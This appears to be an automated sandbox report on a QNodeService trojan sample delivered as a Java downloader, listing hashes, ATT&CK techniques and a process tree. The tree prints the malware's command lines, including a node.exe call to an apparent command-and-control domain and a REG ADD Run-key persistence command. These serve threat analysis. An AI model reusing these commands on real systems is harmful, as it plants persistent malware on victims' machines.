qnodeservice | 495498572e57e6f6260a7875cf56fb24829dbc6489c3930f8131925864b35465

General

Target

trackinginfo~update.jar
Size

67KB
MD5

abab4b8aef2f5249a6b84f9acf14085f
SHA1

c1d69dadcc0cb91179d843382e87790641fe94b4
SHA256

495498572e57e6f6260a7875cf56fb24829dbc6489c3930f8131925864b35465
SHA512

adf24caccec50b28b906338abf8f659b77fc76b875f401e46ab1cd5ce8799b72471047c5c0d706c90d8c1eace59ac486c1a83585647efd1f5bbdf8b92e510f20

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
188	node.exe
3636	node.exe
3332	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\3c2dc1af-0886-4a6f-bed8-9a5fc0d4a4cd = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab6e-171.dat	js
behavioral2/files/0x000100000001ab6e-176.dat	js
behavioral2/files/0x000100000001ab6e-180.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
28	wtfismyip.com
29	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
188	node.exe
188	node.exe
188	node.exe
188	node.exe
3636	node.exe
3636	node.exe
3636	node.exe
3636	node.exe
3332	node.exe
3332	node.exe
3332	node.exe
3332	node.exe
3332	node.exe
3332	node.exe
3332	node.exe
3332	node.exe
3332	node.exe
3332	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4068 wrote to memory of 1868	4068	java.exe	77
PID 4068 wrote to memory of 1868	4068	java.exe	77
PID 1868 wrote to memory of 188	1868	javaw.exe	81
PID 1868 wrote to memory of 188	1868	javaw.exe	81
PID 188 wrote to memory of 3636	188	node.exe	83
PID 188 wrote to memory of 3636	188	node.exe	83
PID 3636 wrote to memory of 3332	3636	node.exe	84
PID 3636 wrote to memory of 3332	3636	node.exe	84
PID 3332 wrote to memory of 4048	3332	node.exe	86
PID 3332 wrote to memory of 4048	3332	node.exe	86
PID 4048 wrote to memory of 3932	4048	cmd.exe	87
PID 4048 wrote to memory of 3932	4048	cmd.exe	87

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\trackinginfo~update.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:4068
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\e0be8eb6.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1868
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain lightstamps.website
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:188
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_rP7K0X\boot.js --hub-domain lightstamps.website
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3636
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_rP7K0X\boot.js --hub-domain lightstamps.website
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3332
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "3c2dc1af-0886-4a6f-bed8-9a5fc0d4a4cd" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4048
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "3c2dc1af-0886-4a6f-bed8-9a5fc0d4a4cd" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:3932

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/188-174-0x000000E7F5300000-0x000000E7F5301000-memory.dmp

Filesize
4KB

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memory/3332-181-0x0000024CB3100000-0x0000024CB3101000-memory.dmp

Filesize
4KB

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memory/3636-177-0x0000033593880000-0x0000033593881000-memory.dmp

Filesize
4KB

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